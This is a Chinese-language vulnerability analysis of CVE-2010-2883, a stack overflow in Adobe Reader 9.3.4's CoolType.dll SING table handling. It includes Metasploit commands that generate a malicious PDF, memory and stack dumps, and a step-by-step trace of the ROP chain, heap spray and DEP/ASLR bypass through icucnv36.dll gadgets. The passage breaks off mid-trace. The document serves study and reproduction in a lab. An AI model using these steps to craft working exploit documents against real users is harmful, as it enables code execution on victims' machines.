前言
可能是各位大佬都比较忙的缘故,在学习了网上各种前辈们的漏洞报告之后,总感觉叙述的不够详细,小白理解起来较为困难。因此秉承着前人栽树后人浇水的原则,我也想尝试写一篇个人认为较为详细的漏洞分析,但由于水平有限不足之处请谅解。并借此记录下近日的学习成果。望各位不吝赐教!
漏洞信息
漏洞编号: CVE-2010-2883
复现环境:
操作系统 Windows XP SP3
虚拟机 Vmware 15 Pro
漏洞软件 Adobe Reader 9.3.4
漏洞简介: 在Adobe Reader和Acrobat 9.4之前的9.x版本中用于实现CoolType(清晰显示文本的字体还原技术)技术的库CoolType.dll中在解析TrueType字体文件中的SING表的uniqueName字段时调用的strcat函数未检查长度导致存在基于栈的缓冲区溢出漏洞。远程攻击者可构造恶意的SmartINdependent Glyphlets (SING)表修改内存数据从而执行任意代码。
定位漏洞
既然我们已经知道了产生漏洞的地方在于CoolType.dll,因此这里采用IDA直接静态分析。在Adobe Reader 9.3.4的安装目录下找到CoolType.dll动态链接库,用IDA载入。借助字符串来定位,在Strings窗口(Shift+F12)中搜索(Ctrl+F)SING关键词得到如下信息
.rdata:0819DB4C aSing db 'SING',0 ; DATA XREF: sub_8015AD9+D2↑o
.rdata:0819DB4C ; sub_803DCF9+7B↑o ...
.rdata:0819DB51 align 4
选中aSing借助IDA强大的交叉引用功能(Ctrl+X),找出所有引用了aSing的地方。这里定位到0x0803DD74的位置
.text:0803DD74 push offset aSing
.text:0803DD79 push edi
.text:0803DD7A lea ecx, [ebp+108h+var_12C]
.text:0803DD7D call sub_8021B06
.text:0803DD82 mov eax, [ebp+108h+var_12C]
.text:0803DD85 cmp eax, esi
.text:0803DD85 ; } // starts at 803DD53
.text:0803DD87 ; try {
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4
.text:0803DD8D mov ecx, [eax]
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9C↑j
.text:0803DD9F add eax, 10h
.text:0803DDA2 push eax ; char *
.text:0803DDA3 lea eax, [ebp+108h+var_108]
.text:0803DDA6 push eax ; char *
.text:0803DDA7 mov [ebp+108h+var_108], 0
.text:0803DDAB call strcat
可以注意到在地址0x0803DDAB处调用了strcat函数。先来看下strcat的函数原型
char *strcat(char *dest, const char *src);
strcat会将参数 src 字符串复制到参数 dest 所指的字符串尾部,dest 最后的结束字符 NULL会被覆盖掉,并在连接后的字符串的尾部再增加一个NULL。
往上追溯会发现这里的strcat函数的两个参数一个值是 ebp+108h+var_108 另一个值是 ebp+108h+var_12C,仔细观察会发现这里并没有去验证src的长度是否可能会超出dest数组定义的长度,因此如果我们有可能将超出dest数组定义长度的数据放入src中有可能可以在后方调用strcat函数时覆盖栈区从而实现代码执行。
为了更好的理解这里具体的逻辑,我们可以考虑动态调试。
样本生成
这里我们先借助Metasploit帮助我们生成一个样本用于动态调试(之后会分析这个样本是如何构造出来的)。
msfconsole
首先在Kali中调用msfconsole唤出我们的msf。<span></span>
msf > search cve-2010-2883
搜索cve-2010-2883漏洞编号可以列出可用的exploit。
这个exploit的位置在
/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
为了便于等下动态调试识别一些关键数据块,我们考虑修改一下这个exploit的一处地方。
在这个exploit的102行处,将下面这句代码
sing << rand_text(0x254 - sing.length)
更改为
sing << "A" * (0x254 - sing.length)
这里的rand_text主要作用是取随机字符,目的是为了增强样本的随机性从而躲避一些检测。这里我们只做研究之用,所以不必随机。修改之后保存
msf > use exploit/windows/fileformat/adobe_cooltype_sing
使用这个exp
msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
然后设置有效载荷为windows/exec用来执行命令
msf exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
为了方便查看漏洞执行效果,我们这里将载荷执行命令设置为启动计算器
msf exploit(windows/fileformat/adobe_cooltype_sing) > set filename cve20102883.pdf
最后设置一下生成的样本文件名<span></span>
msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit
执行一下,样本就被生成在了 /root/.msf4/local/cve20102883.pdf
从Kali中拷贝出来放到我们的Windows XP SP3 复现环境中。
动态分析
在复现环境中把Adobe Reader 9.3.4 启动程序载入OllyDbg。加载之后F9运行。此时OllyDbg显示当前调试的程序是运行状态,实际上这个时候Adobe Reader就已经加载了CoolType.dll文件了。通过刚刚的静态分析我们了解到aSing在地址0x0803DD74处被引用。因此我们可以先在OD中在这个地址处下一个断点。快捷键Ctrl+G输入0x0803DD74回车跳转到该地址F2下断点。
我们将刚才的样本拖入到Adobe Reader中。程序就会停在刚才下的断点上面。
F7单步到
0803DD7A 8D4D DC lea ecx,dword ptr ss:[ebp-0x24]
执行这句指令之后我们来看看ecx到底存了什么。此时的ecx = 0x0012E4B4,首先猜测这是一个指针地址,定位到数据区域之后,取出前32位的十六进制。
0012E4B4 F4 41 6D 04
由于在X86架构下是小端字节序,因此我们将数据排列成0x046D41F4。这应该就是ecx指针所指向的地址,定位到数据区域。可以看到如下数据
046D41F4 00 01 00 00 00 11 01 00 .....
046D41FC 00 04 00 10 4F 53 2F 32 ..OS/2
046D4204 B4 5F F4 63 00 00 EB 70 確鬰..雙
046D420C 00 00 00 56 50 43 4C 54 ...VPCLT
046D4214 D1 8A 5E 97 00 00 EB C8 褗^?.肴
046D421C 00 00 00 36 63 6D 61 70 ...6cmap
046D4224 A4 C3 E8 A0 00 00 B1 6C っ锠..眑
在分析这段数据之前我们先来看看TrueType字体格式标准文档里是怎么说的。
在TrueType字体文件中,从0字节偏移的位置开始处有一个表目录。且这个表目录的第一个字段是名为sfnt version是用来表明所用ttf格式版本的字段。在文档中清楚的标注了,对于1.0版本的TTF字体文件开头要用0x00010000来表示版本。回到我们刚才0x046D41F4位置处的数据,会发现开头正好是0x00010000,这就证明了ecx保存的是一个指向ttf对象的指针地址并且在这里应该是作为this指针。
分析到这里,继续我们的动态调试。接下来遇到了一个call指令,意味着即将调用一个函数。在调用函数前我们不妨先看看这个函数传入了哪些参数。
0803DD74 68 4CDB1908 push CoolType.0819DB4C ; ASCII "SING"
0803DD79 57 push edi
很明显它将SING字符串当作参数了。这里我们单步F8不进入call函数内部。
0803DD7D E8 843DFEFF call CoolType.08021B06
0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24]
来看看这里的eax变成了什么。
eax = 0x046BE598
数据窗口跟随就会发现
046BE598 00 00 01 00 01 0E 00 01 ....
046BE5A0 00 00 00 00 00 00 00 3A .......:
046BE5A8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE5B0 14 A7 82 4A 0C 0C 0C 0C J....
046BE5B8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE5C0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE5C8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE5D0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE5D8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE5E0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE5E8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE5F0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE5F8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE600 41 41 41 41 41 41 41 41 AAAAAAAA
046BE608 41 41 41 41 41 41 41 41 AAAAAAAA
046BE610 41 41 41 41 41 41 41 41 AAAAAAAA
046BE618 41 41 41 41 41 41 41 41 AAAAAAAA
046BE620 41 41 41 41 41 41 41 41 AAAAAAAA
046BE628 41 41 41 41 41 41 41 41 AAAAAAAA
046BE630 41 41 41 41 41 41 41 41 AAAAAAAA
046BE638 41 41 41 41 41 41 41 41 AAAAAAAA
046BE640 41 41 41 41 41 41 41 41 AAAAAAAA
046BE648 41 41 41 41 41 41 41 41 AAAAAAAA
046BE650 41 41 41 41 41 41 41 41 AAAAAAAA
046BE658 41 41 41 41 41 41 41 41 AAAAAAAA
046BE660 41 41 41 41 41 41 41 41 AAAAAAAA
046BE668 41 41 41 41 41 41 41 41 AAAAAAAA
046BE670 41 41 41 41 41 41 41 41 AAAAAAAA
046BE678 41 41 41 41 41 41 41 41 AAAAAAAA
046BE680 41 41 41 41 41 41 41 41 AAAAAAAA
046BE688 41 41 41 41 41 41 41 41 AAAAAAAA
046BE690 41 41 41 41 41 41 41 41 AAAAAAAA
046BE698 41 41 41 41 41 41 41 41 AAAAAAAA
046BE6A0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE6A8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE6B0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE6B8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE6C0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE6C8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE6D0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE6D8 C6 08 8A 4A 41 41 41 41 ?奐AAAA
046BE6E0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE6E8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE6F0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE6F8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE700 41 41 41 41 41 41 41 41 AAAAAAAA
046BE708 41 41 41 41 41 41 41 41 AAAAAAAA
046BE710 41 41 41 41 41 41 41 41 AAAAAAAA
046BE718 41 41 41 41 41 41 41 41 AAAAAAAA
046BE720 41 41 41 41 41 41 41 41 AAAAAAAA
046BE728 41 41 41 41 41 41 41 41 AAAAAAAA
046BE730 41 41 41 41 41 41 41 41 AAAAAAAA
046BE738 41 41 41 41 41 41 41 41 AAAAAAAA
046BE740 41 41 41 41 41 41 41 41 AAAAAAAA
046BE748 41 41 41 41 41 41 41 41 AAAAAAAA
046BE750 41 41 41 41 41 41 41 41 AAAAAAAA
046BE758 41 41 41 41 41 41 41 41 AAAAAAAA
046BE760 41 41 41 41 41 41 41 41 AAAAAAAA
046BE768 41 41 41 41 41 41 41 41 AAAAAAAA
046BE770 41 41 41 41 41 41 41 41 AAAAAAAA
046BE778 41 41 41 41 41 41 41 41 AAAAAAAA
046BE780 41 41 41 41 41 41 41 41 AAAAAAAA
046BE788 41 41 41 41 41 41 41 41 AAAAAAAA
046BE790 41 41 41 41 41 41 41 41 AAAAAAAA
046BE798 41 41 41 41 41 41 41 41 AAAAAAAA
046BE7A0 38 CB 80 4A 41 41 41 41 8藔JAAAA
046BE7A8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE7B0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE7B8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE7C0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE7C8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE7D0 41 41 41 41 41 41 41 41 AAAAAAAA
046BE7D8 41 41 41 41 41 41 41 41 AAAAAAAA
046BE7E0 41 41 41 41 6C AAAAl
这里大量的A原本都是随机字符,由于刚才我们修改了exploit的代码因此使得这里的数据块更容易辨认。实际上这些数据都是样本中SING表里构造好的恶意数据。
0803DD74 68 4CDB1908 push CoolType.0819DB4C ; ASCII "SING"
0803DD79 57 push edi
0803DD7A 8D4D DC lea ecx,dword ptr ss:[ebp-0x24]
0803DD7D E8 843DFEFF call CoolType.08021B06
0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24]
因此总结一下,以上的指令主要就是将SING表的tag名传入到08021B06函数中通过表目录来获取到SING表的入口地址,而目前eax的值0x046BE598即是SING表的入口地址。分析SING表的这些数据,我们就能知道样本到底做了些什么。
继续往下动态调试,会发现关键的溢出点。
0803DDA2 50 push eax
0803DDA3 8D45 00 lea eax,dword ptr ss:[ebp]
0803DDA6 50 push eax
0803DDA7 C645 00 00 mov byte ptr ss:[ebp],0x0
0803DDAB E8 483D1300 call <jmp.&MSVCR80.strcat>
第一个pusheax 将刚刚获取到的SING表入口地址压入栈区。第二个 pusheax获取了当前栈区的ebp地址即要连接字符串的目的地址。我们单步过strcat之后,查看一下ebp开始的栈区数据。
0012E4D8 41414141
0012E4DC 41414141
0012E4E0 4A82A714 icucnv36.4A82A714
0012E4E4 0C0C0C0C
0012E4E8 41414141
0012E4EC 41414141
0012E4F0 41414141
0012E4F4 41414141
0012E4F8 41414141
0012E4FC 41414141
0012E500 41414141
0012E504 41414141
0012E508 41414141
0012E50C 41414141
0012E510 41414141
0012E514 41414141
0012E518 41414141
0012E51C 41414141
0012E520 41414141
0012E524 41414141
0012E528 41414141
0012E52C 41414141
0012E530 41414141
0012E534 41414141
0012E538 41414141
0012E53C 41414141
0012E540 41414141
0012E544 41414141
0012E548 41414141
0012E54C 41414141
0012E550 41414141
0012E554 41414141
0012E558 41414141
0012E55C 41414141
0012E560 41414141
0012E564 41414141
0012E568 41414141
0012E56C 41414141
0012E570 41414141
0012E574 41414141
0012E578 41414141
0012E57C 41414141
0012E580 41414141
0012E584 41414141
0012E588 41414141
0012E58C 41414141
0012E590 41414141
0012E594 41414141
0012E598 41414141
0012E59C 41414141
0012E5A0 41414141
0012E5A4 41414141
0012E5A8 41414141
0012E5AC 41414141
0012E5B0 41414141
0012E5B4 41414141
0012E5B8 41414141
0012E5BC 41414141
0012E5C0 41414141
0012E5C4 41414141
0012E5C8 41414141
0012E5CC 41414141
0012E5D0 41414141
0012E5D4 41414141
0012E5D8 41414141
0012E5DC 41414141
0012E5E0 41414141
0012E5E4 41414141
0012E5E8 41414141
0012E5EC 41414141
0012E5F0 41414141
0012E5F4 41414141
0012E5F8 41414141
0012E5FC 41414141
0012E600 41414141
0012E604 41414141
0012E608 4A8A08C6 icucnv36.4A8A08C6
0012E60C 41414141
0012E610 41414141
0012E614 41414141
0012E618 41414141
0012E61C 41414141
0012E620 41414141
0012E624 41414141
0012E628 41414141
0012E62C 41414141
0012E630 41414141
0012E634 41414141
0012E638 41414141
0012E63C 41414141
0012E640 41414141
0012E644 41414141
0012E648 41414141
0012E64C 41414141
0012E650 41414141
0012E654 41414141
0012E658 41414141
0012E65C 41414141
0012E660 41414141
0012E664 41414141
0012E668 41414141
0012E66C 41414141
0012E670 41414141
0012E674 41414141
0012E678 41414141
0012E67C 41414141
0012E680 41414141
0012E684 41414141
0012E688 41414141
0012E68C 41414141
0012E690 41414141
0012E694 41414141
0012E698 41414141
0012E69C 41414141
0012E6A0 41414141
0012E6A4 41414141
0012E6A8 41414141
0012E6AC 41414141
0012E6B0 41414141
0012E6B4 41414141
0012E6B8 41414141
0012E6BC 41414141
0012E6C0 41414141
0012E6C4 41414141
0012E6C8 41414141
0012E6CC 41414141
0012E6D0 4A80CB38 返回到 icucnv36.4A80CB38 来自 icucnv36.4A846C49
0012E6D4 41414141
0012E6D8 41414141
0012E6DC 41414141
0012E6E0 41414141
0012E6E4 41414141
0012E6E8 41414141
0012E6EC 41414141
0012E6F0 41414141
0012E6F4 41414141
0012E6F8 41414141
0012E6FC 41414141
0012E700 41414141
0012E704 41414141
0012E708 41414141
0012E70C 41414141 指向下一个 SEH 记录的指针
0012E710 41414141 SE处理程序
0012E714 0000006C
此时栈溢出已经发生,栈区数据已经被修改成了SING表中构造的恶意数据(实际上是从uniqueName字段开始的数据)。
继续往下分析,我们希望了解程序到底是怎么样去读取栈区数据的。
0808B308 FF10 call dword ptr ds:[eax]
执行到0x0808B308时,我们发现了一个很有意思的地方。即调用了[eax]地址指向的函数。此时的eax = 0012E6D0,这正好处于我们刚才覆盖的栈区数据范围内。
且 [eax]= 0x4A80CB38。
4A80CB38 81C5 94070000 add ebp,0x794
4A80CB3E C9 leave (mov esp,ebp pop ebp)
4A80CB3F C3 retn
首先调整了ebp。原本的ebp = 0x0012DD48 ebp+0x794 = 0x0012E4DC
重新将ebp调整进了覆盖的栈区数据范围内。接下来执行的leave,修改了esp,原本的esp = 0x0012DD24 esp = ebp = 0x0012E4DC [esp] = 0x41414141 并且弹栈之后
ebp = 0x41414141
最后retn时,esp = 0x0012E4E0 [esp] = 0x4A82A714 因此接下来EIP = 0x4A82A714
4A82A714 5C pop esp ; 0C0C0C0C
4A82A715 C3 retn
这里原本的esp= 0x0012E4E4 [esp] = 0x0C0C0C0C
pop esp之后 esp = 0x0C0C0C0C
0C0C0C08 41414141
0C0C0C0C 4A8063A5 icucnv36.4A8063A5
0C0C0C10 4A8A0000 ASCII "UTF-32"
0C0C0C14 4A802196 icucnv36.4A802196
0C0C0C18 4A801F90 icucnv36.4A801F90
0C0C0C1C 4A84903C <&KERNEL32.CreateFileA>
0C0C0C20 4A80B692 icucnv36.4A80B692
0C0C0C24 4A801064 icucnv36.4A801064
0C0C0C28 4A8522C8 ASCII "iso88591"
0C0C0C2C 10000000 sqlite.10000000
0C0C0C30 00000000
0C0C0C34 00000000
0C0C0C38 00000002
0C0C0C3C 00000102
0C0C0C40 00000000
0C0C0C44 4A8063A5 icucnv36.4A8063A5
0C0C0C48 4A801064 icucnv36.4A801064
0C0C0C4C 4A842DB2 icucnv36.4A842DB2
0C0C0C50 4A802AB1 icucnv36.4A802AB1
0C0C0C54 00000008
0C0C0C58 4A80A8A6 icucnv36.4A80A8A6
0C0C0C5C 4A801F90 icucnv36.4A801F90
0C0C0C60 4A849038 <&KERNEL32.CreateFileMappingA>
0C0C0C64 4A80B692 icucnv36.4A80B692
0C0C0C68 4A801064 icucnv36.4A801064
0C0C0C6C FFFFFFFF
0C0C0C70 00000000
0C0C0C74 00000040
0C0C0C78 00000000
0C0C0C7C 00010000 UNICODE "=::=::"
0C0C0C80 00000000
0C0C0C84 4A8063A5 icucnv36.4A8063A5
0C0C0C88 4A801064 icucnv36.4A801064
0C0C0C8C 4A842DB2 icucnv36.4A842DB2
0C0C0C90 4A802AB1 icucnv36.4A802AB1
0C0C0C94 00000008
0C0C0C98 4A80A8A6 icucnv36.4A80A8A6
0C0C0C9C 4A801F90 icucnv36.4A801F90
0C0C0CA0 4A849030 <&KERNEL32.MapViewOfFile>
0C0C0CA4 4A80B692 icucnv36.4A80B692
0C0C0CA8 4A801064 icucnv36.4A801064
0C0C0CAC FFFFFFFF
0C0C0CB0 00000022
0C0C0CB4 00000000
0C0C0CB8 00000000
0C0C0CBC 00010000 UNICODE "=::=::"
0C0C0CC0 4A8063A5 icucnv36.4A8063A5
0C0C0CC4 4A8A0004 ASCII "32"
0C0C0CC8 4A802196 icucnv36.4A802196
0C0C0CCC 4A8063A5 icucnv36.4A8063A5
0C0C0CD0 4A801064 icucnv36.4A801064
0C0C0CD4 4A842DB2 icucnv36.4A842DB2
0C0C0CD8 4A802AB1 icucnv36.4A802AB1
0C0C0CDC 00000030
0C0C0CE0 4A80A8A6 icucnv36.4A80A8A6
0C0C0CE4 4A801F90 icucnv36.4A801F90
0C0C0CE8 4A8A0004 ASCII "32"
0C0C0CEC 4A80A7D8 返回到 icucnv36.4A80A7D8 来自 MSVCR80.__timezone
0C0C0CF0 4A8063A5 icucnv36.4A8063A5
0C0C0CF4 4A801064 icucnv36.4A801064
0C0C0CF8 4A842DB2 icucnv36.4A842DB2
0C0C0CFC 4A802AB1 icucnv36.4A802AB1
0C0C0D00 00000020
0C0C0D04 4A80A8A6 icucnv36.4A80A8A6
0C0C0D08 4A8063A5 icucnv36.4A8063A5
0C0C0D0C 4A801064 icucnv36.4A801064
0C0C0D10 4A80AEDC icucnv36.4A80AEDC
0C0C0D14 4A801F90 icucnv36.4A801F90
0C0C0D18 00000034
0C0C0D1C 4A80D585 icucnv36.4A80D585
0C0C0D20 4A8063A5 icucnv36.4A8063A5
0C0C0D24 4A801064 icucnv36.4A801064
0C0C0D28 4A842DB2 icucnv36.4A842DB2
0C0C0D2C 4A802AB1 icucnv36.4A802AB1
0C0C0D30 0000000A
0C0C0D34 4A80A8A6 icucnv36.4A80A8A6
0C0C0D38 4A801F90 icucnv36.4A801F90
0C0C0D3C 4A849170 <&MSVCR80.memcpy>
0C0C0D40 4A80B692 icucnv36.4A80B692
0C0C0D44 FFFFFFFF
0C0C0D48 FFFFFFFF
0C0C0D4C FFFFFFFF
0C0C0D50 00001000
这里又到了一个关键的地方。看到0x0C0C0C0C 我们很自然的会想到 HeapSpary技术。在这个样本中确实利用到了堆喷射的技术,借助PDF本身支持执行JS的特性,将shellcode借助JS写入内存中。实际上这里也可以不借助堆喷射来实现任意代码执行,但是这样的话就会增大ROP链的构造难度,因此选择利用堆喷射的方法来写入shellcode是一种非常巧妙的做法。
仔细观察可以发现接下来的ROP链调用的都是icucnv36.dll这个库中的地址,原因在于这个库是没有开启ASLR保护的。还有需要说明的一点是,之所以要借助堆喷射技术来执行代码的原因是为了绕过windows环境下的DEP保护。
继续动态分析。此时即将执行retn,而esp指向的地址是0x0c0c0c0c,即
0C0C0C0C 4A8063A5 icucnv36.4A8063A5
因此接下来执行的是
4A8063A5 59 pop ecx ;icucnv36.4A8A0000
4A8063A6 C3 retn
ecx =0x4A8A0000 [ecx] = “UTF-32”
4A802196 8901 mov dword ptr ds:[ecx],eax
4A802198 C3 retn
这里借原本存“UTF-32”字符串的地方保存eax(0x0012E6D0)的值
4A801F90 58 pop eax ;<&KERNEL32.CreateFileA>
4A801F91 C3 retn
这里eax指向了CreateFileA函数用于创建文件。即eax = 0x4A84903C
4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileA
这里直接跳转到eax保存的指针所指向的地址(0x7C801A28)处
7C801A28 > 8BFF mov edi,edi
7C801A2A 55 push ebp
7C801A2B 8BEC mov ebp,esp
7C801A2D FF75 08 push dword ptr ss:[ebp+0x8]
7C801A30 E8 CFC60000 call kernel32.7C80E104
7C801A35 85C0 test eax,eax
7C801A37 74 1E je Xkernel32.7C801A57
7C801A39 FF75 20 push dword ptr ss:[ebp+0x20]
7C801A3C FF75 1C push dword ptr ss:[ebp+0x1C]
7C801A3F FF75 18 push dword ptr ss:[ebp+0x18]
7C801A42 FF75 14 push dword ptr ss:[ebp+0x14]
7C801A45 FF75 10 push dword ptr ss:[ebp+0x10]
7C801A48 FF75 0C push dword ptr ss:[ebp+0xC]
7C801A4B FF70 04 push dword ptr ds:[eax+0x4]
7C801A4E E8 9DED0000 call kernel32.CreateFileW
7C801A53 5D pop ebp
7C801A54 C2 1C00 retn 0x1C
这里应该是CreateFileA的实现逻辑,我们直接查看栈区数据
0C0C0C24 4A801064 /CALL 到 CreateFileA
0C0C0C28 4A8522C8 |FileName = "iso88591"
0C0C0C2C 10000000 |Access = GENERIC_ALL
0C0C0C30 00000000 |ShareMode = 0
0C0C0C34 00000000 |pSecurity = NULL
0C0C0C38 00000002 |Mode = CREATE_ALWAYS
0C0C0C3C 00000102 |Attributes = HIDDEN|TEMPORARY
0C0C0C40 00000000 hTemplateFile = NULL
这里都是CreateFileA的参数,来看看CreateFileA官方文档给出的结构
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
lpFileName用于指定被创建文件的文件名。
dwDesiredAccess 用于指定访问权限一般都是读、写之类的。这里的GENERIC_ALL指的是采用所有可能的访问权限。
dwShareMode 用于指定请求的文件或设备的共享模式,这里指定的0代表了阻止其他进程在请求删除,读取或写入访问权限时打开文件或设备。
lpSecurityAttributes 用于设置安全描述符和子进程是否可继承,这个属性可为NULL,这里用的就是NULL。
dwCreationDisposition 设置对文件执行的操作。这里的CREATE_ALWAYS代表总是会创建文件,即使目标文件已存在也会覆盖它。
dw FlagsAndAttributes 设置文件或设备属性和标志,这里给的值是FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_TEMPORARY 代表该文件用于临时存储。
hTemplateFile 设置具有GENERIC_READ访问权限的模板文件的有效句柄。这个属性这里也没用到直接指定NULL。
总之这里创建了一个临时文件,文件名是iso88591。可以在当前样本pdf同目录下找到。
4A801064 C3 retn
这里跳转到 0x4A8063A5(icucnv36.4A8063A5)
4A8063A5 59 pop ecx ; icucnv36.4A801064
4A8063A6 C3 retn
ecx = 0x4A801064
4A842DB2 97 xchg eax,edi
4A842DB3 C3 retn
这里 eax =0x0000031C edi = 0x0012E718
xchg指令交换了两个寄存器的值eax = 0x0012E718 edi = 0x0000031C
4A802AB1 5B pop ebx
4A802AB2 C3 retn
继续单步,到这里 ebx = 0x00000008
4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi
4A80A8A9 75 03 jnz Xicucnv36.4A80A8AE
4A80A8AB B0 01 mov al,0x1
4A80A8AD C3 retn
4A80A8AE 3C 2F cmp al,0x2F
4A80A8B0 ^ 74 F9 je Xicucnv36.4A80A8AB
4A80A8B2 3C 41 cmp al,0x41
4A80A8B4 7C 04 jl Xicucnv36.4A80A8BA
4A80A8B6 3C 5A cmp al,0x5A
4A80A8B8 7E 08 jle Xicucnv36.4A80A8C2
4A80A8BA 3C 61 cmp al,0x61
4A80A8BC 7C 0A jl Xicucnv36.4A80A8C8
4A80A8BE 3C 7A cmp al,0x7A
4A80A8C0 7F 06 jg Xicucnv36.4A80A8C8
4A80A8C2 8079 01 3A cmp byte ptr ds:[ecx+0x1],0x3A
4A80A8C6 ^ 74 E3 je Xicucnv36.4A80A8AB
4A80A8C8 32C0 xor al,al
4A80A8CA C3 retn
这里指向了一个函数的实现代码块。似乎做了斜杠和字母小写的检查。
4A801F90 58 pop eax ;<&KERNEL32.CreateFileMappingA>
4A801F91 C3 retn
这里让eax指向了一个CreateFileMappingA函数
4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileMappingA
这里利用同样的方法调转到 [eax] 所在的函数 CreateFileMappingA处,该函数用于创建一个文件映射内核对象。
7C8094EE > 8BFF mov edi,edi
7C8094F0 55 push ebp
7C8094F1 8BEC mov ebp,esp
7C8094F3 51 push ecx
7C8094F4 51 push ecx
7C8094F5 56 push esi
7C8094F6 33F6 xor esi,esi
7C8094F8 3975 1C cmp dword ptr ss:[ebp+0x1C],esi
7C8094FB 74 31 je Xkernel32.7C80952E
7C8094FD 64:A1 18000000 mov eax,dword ptr fs:[0x18]
7C809503 FF75 1C push dword ptr ss:[ebp+0x1C]
7C809506 8DB0 F80B0000 lea esi,dword ptr ds:[eax+0xBF8]
7C80950C 8D45 F8 lea eax,dword ptr ss:[ebp-0x8]
7C80950F 50 push eax
7C809510 FF15 8C10807C call dword ptr ds:[<&ntdll.RtlInitAnsiSt>; ntdll.RtlInitAnsiString
7C809516 6A 00 push 0x0
7C809518 8D45 F8 lea eax,dword ptr ss:[ebp-0x8]
7C80951B 50 push eax
7C80951C 56 push esi
7C80951D FF15 8810807C call dword ptr ds:[<&ntdll.RtlAnsiString>; ntdll.RtlAnsiStringToUnicodeString
7C809523 85C0 test eax,eax
7C809525 0F8C B5390300 jl kernel32.7C83CEE0
7C80952B 8B76 04 mov esi,dword ptr ds:[esi+0x4]
7C80952E 56 push esi
7C80952F FF75 18 push dword ptr ss:[ebp+0x18]
7C809532 FF75 14 push dword ptr ss:[ebp+0x14]
7C809535 FF75 10 push dword ptr ss:[ebp+0x10]
7C809538 FF75 0C push dword ptr ss:[ebp+0xC]
7C80953B FF75 08 push dword ptr ss:[ebp+0x8]
7C80953E E8 DDFEFFFF call kernel32.CreateFileMappingW
7C809543 5E pop esi
7C809544 C9 leave
7C809545 C2 1800 retn 0x18
函数参数在栈中的分布
0C0C0C68 4A801064 /CALL 到 CreateFileMappingA
0C0C0C6C 0000031C |hFile = 0000031C
0C0C0C70 00000000 |pSecurity = NULL
0C0C0C74 00000040 |Protection = PAGE_EXECUTE_READWRITE
0C0C0C78 00000000 |MaximumSizeHigh = 0
0C0C0C7C 00010000 |MaximumSizeLow = 10000
0C0C0C80 00000000 MapName = NULL
继续调试跳转到
4A8063A5 59 pop ecx ; icucnv36.4A801064
4A8063A6 C3 retn
4A842DB2 97 xchg eax,edi
4A842DB3 C3 retn
这里的eax =0x00000320 edi = 0x0000031C xchg交换两个寄存器的值
4A802AB1 5B pop ebx
4A802AB2 C3 retn
这里再一次跳转到了0x4A80A8A6
4A801F90 58 pop eax ; <&KERNEL32.MapViewOfFile>
4A801F91 C3 retn
这里eax指向的是MapViewOfFile函数入口地址
eax = 0x4A849030
4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.MapViewOfFile
同样的原理借助jmp dword ptr ds:[eax] 跳转到eax指向的地址。<span></span>
7C80B995 > 8BFF mov edi,edi
7C80B997 55 push ebp
7C80B998 8BEC mov ebp,esp
7C80B99A 6A 00 push 0x0
7C80B99C FF75 18 push dword ptr ss:[ebp+0x18]
7C80B99F FF75 14 push dword ptr ss:[ebp+0x14]
7C80B9A2 FF75 10 push dword ptr ss:[ebp+0x10]
7C80B9A5 FF75 0C push dword ptr ss:[ebp+0xC]
7C80B9A8 FF75 08 push dword ptr ss:[ebp+0x8]
7C80B9AB E8 76FFFFFF call kernel32.MapViewOfFileEx
7C80B9B0 5D pop ebp
7C80B9B1 C2 1400 retn 0x14
将一个文件映射对象映射到当前应用程序的地址空间。
4A801064 C3 retn
跳转到 0x4A8063A5
4A8063A5 59 pop ecx ; icucnv36.4A8A0004
4A8063A6 C3 retn
ecx = 0x4A8A0004
4A802196 8901 mov dword ptr ds:[ecx],eax
4A802198 C3 retn
将eax的值暂存在[ecx]中
eax = 0x037F0000
4A8063A5 59 pop ecx ; icucnv36.4A801064
4A8063A6 C3 retn
ecx = 0x4A801064
4A842DB2 97 xchg eax,edi
4A842DB3 C3 retn
4A802AB1 5B pop ebx
4A802AB2 C3 retn
又回到0x4A80A8A6
